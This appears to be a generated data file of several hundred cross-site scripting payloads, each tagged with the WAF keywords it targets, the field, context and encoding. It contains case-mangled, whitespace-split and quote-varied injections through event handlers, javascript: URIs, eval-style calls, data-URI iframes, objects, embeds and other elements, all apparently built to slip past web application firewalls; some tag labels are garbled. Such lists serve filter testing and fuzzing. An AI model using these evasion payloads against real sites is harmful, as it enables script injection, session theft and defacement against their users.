[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; SeSsIonStorage.SetITEM('x', '<SVg onlOAd=ALERt(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionSTOrage.seTItEm('X', '<SVG OnLoAD=aleRt(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg ONLOAd=ALerT(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svG onLOAd=alERT(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svG onload=alert(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]; sessionStorage.setItem([ICODE]x, [/ICODE]<svg onload=alert(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg onLOAD=alert(1)>'); //
[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]' ; sessionStorage.setItem ( 'x', ' <svg onload = alert ( 1 ) > ' ) ; //
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=alert(1)//
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=aLERt(1)//
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]COokIe: SESsIoN=aLert(1)//
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]CooKie: Session=alERt(1)//
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=aLert(1)//
[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie
:
session
=
alert
(
1
)
//
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<img src=x onerror=alert(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<iMg src=x onerror=alert(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]' ; document.cookie = "x = <img src = x onerror = alert ( 1 ) > " ; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]`; document.cookie = `x=<img src=x onerror=alert(1)>'; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; dOcUmEnT.cookie = "x=<iMG src=x OneRror=AlERt(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; dOcUMeNt.coOkiE = "x=<Img sRc=x onerrOr=alerT(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; doCumenT.cookie = "x=<img src=x OneRrOr=aLERT(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<img src=x oNerrOR=alert(1)>"; //
[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; documENT.CooKie = "x=<imG src=x ONERRor=aLeRt(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x onerror=alert(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x oneRROr=ALerT(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<imG src=x ONERrOr=alERt(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<iMg sRc=X oNeRRor=alert(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#
<img
src
=
x
onerror
=
alert
(
1
)
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img SrC=X onerRor=alert(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x ONErrOr=alert(1)>
[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<iMG src=x onerror=alert(1)>
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x onerror=alert(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]' ; location.hash = "# <img src = x onerror = alert ( 1 ) > " ; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x ONERrOR=alert(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; lOCatIoN.hash = "#<img src=X oNerrOr=alErt(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x onERrOr=alert(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]; location.hash = #<img src=x onerror=alert(1)>'; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<iMG Src=x oneRRor=aleRT(1)>"; //
[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<IMg src=x onErROr=aLERT(1)>"; //
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'javascript:alert(1)'; //
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'JAVasCRIPT:aLErT(1)'; //
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'
;
location
=
'javascript
:
alert
(
1
)
'
;
//
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; lOcAtiOn = 'JAvascRIPt:aLeRt(1)'; //
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; locAtiON = 'javasCript:AlERT(1)'; //
[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'javascrIpt:ALErT(1)'; //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; eval('prompt(1)'); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; Eval('pROmPt(1)'); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; EvaL('PRomPt(1)'); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]' ; eval ( 'prompt ( 1 ) ' ) ; //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; eVAL('prOmpt(1)'); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; EVAl('PRompT(1)'); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; Function('alert(1)')(); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FuNcTIon('AleRt(1)')(); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]' ; Function ( 'alert ( 1 ) ' ) ( ) ; //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; funCTIOn('AlERt(1)')(); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FUnctION('ALERT(1)')(); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FuncTION('AleRt(1)')(); //
[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]`; Function(`alert(1)')(); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('alert(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; SetTimEout('Alert(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('ALErt(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('alERT(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ; setTimeout ( 'alert ( 1 ) ', 0 ) ; //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; seTtIMEout('alert(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('confirm(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; SetInTeRvAL('COnFIRm(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; sEtInTErval('CONFirm(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]`; setInterval(`confirm(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('confirM(1)', 0); //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ; setInterval ( 'confirm ( 1 ) ', 0 ) ; //
[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('CoNFiRM(1)', 0); //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(function(){alert(1)}); //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(fUncTION(){aleRt(1)}); //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ; requestAnimationFrame ( function ( ) { alert ( 1 ) } ) ; //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(functIOn(){AleRT(1)}); //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; ReqUestanimatioNFraME(fuNCtioN(){ALErT(1)}); //
[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requEstAniMationFRame(funCtion(){AlERt(1)}); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,alert(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]`; import(`data:text/javascript,alert(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; iMpOrt('data:TEXT/JaVaSCRiPT,aleRt(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]' ; import ( 'data : text/javascript,alert ( 1 ) ' ) ; //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; imPoRt('dAta:tEXt/jAvascript,alErt(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javasCRIPT,AlERt(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javAScriPt,aLerT(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/javascript,alert(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; nEw WorkEr('dATa:Text/jaVAScrIpT,aleRT(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/JavAScrIpT,AlERt(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/JAvaSCripT,aleRt(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]`; new Worker(`data:text/javascript,alert(1)'); //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]' ; new Worker ( 'data : text/javascript,alert ( 1 ) ' ) ; //
[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; New WorkEr('dAta:tExt/JAvaScrIPT,ALErt(1)'); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<script>alert(1)</script>'], {type: 'text/html'}); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<ScRIpt>alert(1)</ScRIpt>'], {type: 'text/html'}); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<ScRIpT>alErT(1)</ScRIpT>'], {type: 'text/html'}); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]' ; new Blob ( [' <script> alert ( 1 ) </script> '], { type : 'text/html' } ) ; //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<script>ALERt(1)</script>'], {type: 'text/html'}); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new BLob(['<SCrIpt>Alert(1)</ScRipT>'], {TyPe: 'text/Html'}); //
[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new BLoB(['<SCRiPT>AlERT(1)</SCRiPT>'], {TYPe: 'tExT/hTmL'}); //
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc="<script>prompt(1)</script>">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iFrAMe srcdoc="<scRIPt>prompt(1)</scrIpT>">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc='<script>prompt(1)</script>'>
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><IFRaMe srcdoc="<ScRIPT>pRoMpT(1)</ScRIPT>">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc="<scrIpT>PROmpt(1)</scrIpT>">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]> <iframe srcdoc = "<script> prompt ( 1 ) </script> ">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iFrAMe srcdoc="<sCrIpT>prompt(1)</sCrIpT>">
[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe SRCdoc="<ScripT>pRompt(1)</ScripT>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IFRaMe sandbox="allow-ScrIPts" srcdoc="<Script>ALERT(1)</Script>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IfRaME sandbox="allow-scripts" srcdoc="<scRIPT>alert(1)</scRIPT>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox="allow-SCriPts" srcdoc="<SCriPt>AlERt(1)</SCriPt>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox='allow-scripts' srcdoc='<script>alert(1)</script>'>
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]> <iframe sandbox = "allow-scripts" srcdoc = "<script> alert ( 1 ) </script> ">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IfrAME sAndBox="allow-scriPtS" srcDOc="<Script>aLErt(1)</scRipt>">
[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframE SanDbox="alLoW-SCRiPTs" srcDoC="<SCRiPT>alERt(1)</SCRiPT>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><object data="data:text/html,<script>alert(1)</script>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><object data="data:text/html,<ScRIPt>ALeRT(1)</ScRIPt>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><OBjeCT data="data:text/html,<sCript>Alert(1)</sCript>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><oBJeCt data="DAta:text/htMl,<scriPt>aleRt(1)</SCrIpt>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><OBJeCT data="data:text/html,<scRiPt>alert(1)</scRiPt>">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]> <object data = "data : text/html,<script> alert ( 1 ) </script> ">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><objeCT daTA="daTA:texT/hTmL,<SCRIPt>aLErT(1)</SCRIPt>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src="data:text/html,<script>alert(1)</script>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed SRc="DAtA:teXt/htmL,<sCript>alert(1)</sCrIpT>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embEd srC="data:TeXt/htMl,<sCriPT>AlErT(1)</sCriPT>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src=data:text/html,<script>alert(1)</script>>
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]> <embed src = "data : text/html,<script> alert ( 1 ) </script> ">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><EmbEd src="data:text/html,<sCrIPt>alert(1)</sCrIPt>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><EmBed src="data:text/html,<SCRIpT>aleRT(1)</SCRIpT>">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src="data:text/html,<scRIpT>aLERT(1)</scRIpT>">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="javascript:alert(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="jAvascRIPt:alert(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><aPplEt cOde="jAVASCRIpt:ALERT(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="JaVasCrIpT:AlERt(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code='javascript:alert(1)'>
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]> <applet code = "javascript : alert ( 1 ) ">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="javASCrIPT:ALeRT(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta http-equiv="refresh" content="0;url=javascript:alert(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><mETa http-equiv="refresh" content="0;url=jAVAscrIpt:AlErT(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta http-equiv="refresh" content="0;url=jAvaScRiPt:alerT(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta hTtP-equIv="rEfrEsh" cONtEnt="0;urL=jaVasCRiPT:AlErT(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><MEtA http-equiv="refresh" content="0;url=javascript:alert(1)">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]> <meta http-equiv = "refresh" content = "0 ; url = javascript : alert ( 1 ) ">
[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><mETa http-equIv="refreSh" cONTent="0;uRl=jAvasCript:alErt(1)">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="javascript:alert(1)">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><bAse hreF="javascript:alert(1)">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href='javascript:alert(1)'>
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]>
<base
href
=
"javascript
:
alert
(
1
)
">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="JavAsCrIPT:aleRt(1)">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base hREF="JAvaScrIpT:aLeRt(1)">
[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="JAvaScRIPt:aLeRT(1)">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="javascript:alert(1)" type="image">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex aCTion="JavaScripT:alerT(1)" type="iMAge">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="JavAsCrIpT:aleRt(1)" type="image">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]> <isindex action = "javascript : alert ( 1 ) " type = "image">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="JaVAscrIPt:AlerT(1)" type="image">
[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isINdeX ActiON="javAscript:aLert(1)" TyPe="image">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action="javascript:alert(1)"><input type="submit">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action="jAvASCrIPt:AlerT(1)"><input type="submit">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><FORm ACtIoN="JavaScript:aleRt(1)"><Input type="submit">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><fORm action="javascript:alert(1)"><iNpUt type="submit">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><FOrm aCTIon="jAvaScRipT:alerT(1)"><inPUT Type="suBMIt">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action=javascript:alert(1)><input type=submit>
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><fORM action="JAVaScRipt:aleRT(1)"><input type="submit">
[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]> <form action = "javascript : alert ( 1 ) "> <input type = "submit">
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button formaction="javascript:alert(1)">click</button>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button formaction="JAVAsCrIpt:AlErt(1)">click</button>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><bUttOn FormaCtIon="javASCript:ALert(1)">Click</button>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]> <button formaction = "javascript : alert ( 1 ) "> click </button>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><buTToN formaction="jAVaScRipT:Alert(1)">click</buTToN>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><BUttON formaction="javascript:alert(1)">click</BUttON>
[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button ForMaCTioN="JaVasCriPt:alert(1)">cliCK</buttOn>
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type="image" src="x" formaction="javascript:alert(1)">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><inPuT TYpE="imAge" Src="X" fOrMAcTion="JavAScRipt:alErt(1)">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]> <input type = "image" src = "x" formaction = "javascript : alert ( 1 ) ">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><iNput type="image" src="x" formaction="javascript:alert(1)">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><InpUT type="image" src="x" formaction="jAVAscRipt:ALErT(1)">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><InPUt tyPe="iMAgE" src="x" fOrmacTIon="jaVaScrIPt:alErT(1)">
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type='image' src='x' formaction='javascript:alert(1)'>
[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type="image" src="x" formaction="JaVASCrIPt:ALErt(1)">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="javascript:alert(1)">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src='javascript:alert(1)'>
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bGSound src="JAVascrIPT:alERT(1)">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]> <bgsound src = "javascript : alert ( 1 ) ">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="jAVAsCriPT:alerT(1)">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="JAVASCRipt:ALERt(1)">
[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound sRC="javAScRipt:aLeRt(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" onerror="prompt(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDIo src="x" OneRRoR="prOMPT(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" OnerRoR="prompt(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]> <audio src = "x" onerror = "prompt ( 1 ) ">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDIo src="x" onerror="prompt(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" ONError="ProMpt(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDio srC="x" ONeRroR="PromPT(1)">
[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="X" oNeRror="pROmpt(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" onerror="alert(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]> <video src = "x" onerror = "alert ( 1 ) ">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><viDEo sRC="x" oNeRROR="AlERT(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" ONeRRor="alert(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><viDEO src="x" onerror="alert(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" OnErRoR="ALErT(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><VIDeO src="x" oneRror="aLeRT(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><vIdeO src="x" oNErroR="alErT(1)">
[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src='x' onerror='alert(1)'>
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" onerror="alert(1)">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]> <source src = "x" onerror = "alert ( 1 ) ">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><souRCE srC="x" OnErROr="aLErT(1)">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><Source src="x" ONeRROr="aleRt(1)">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" OneRror="alErT(1)">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" ONerror="alERt(1)">
[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" ONErroR="alert(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" onerror="alert(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><trACk srC="x" oNErroR="alerT(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" ONERroR="aleRT(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" OneRROR="alerT(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]>
<track
src
=
"x"
onerror
=
"alert
(
1
)
">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><trAck Src="x" onErRor="alert(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" onERRor="alert(1)">
[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src='x' onerror='alert(1)'>
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<script>alert(1)</script>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<scrIpt>alert(1)</scrIpt>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<SCRiPT>AlERt(1)</SCRiPT>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal srC="datA:TexT/htML,<SCRIPt>alErt(1)</SCRIPt>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<sCriPt>ALert(1)</sCriPt>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><pOrtAl Src="DatA:TExT/htMl,<SCrIpt>aleRt(1)</scrIpt>">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src=data:text/html,<script>alert(1)</script>>
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]> <portal src = "data : text/html,<script> alert ( 1 ) </script> ">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><link rel="import" href="data:text/html,<script>alert(1)</script>">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><LiNk rEl="import" hRef="Data:TexT/hTml,<script>ALERt(1)</script>">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><link rel="import" href="data:text/html,<ScrIpt>alERT(1)</ScrIpt>">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><lInk rel="import" href="data:text/html,<ScRIpT>alert(1)</ScRIpT>">
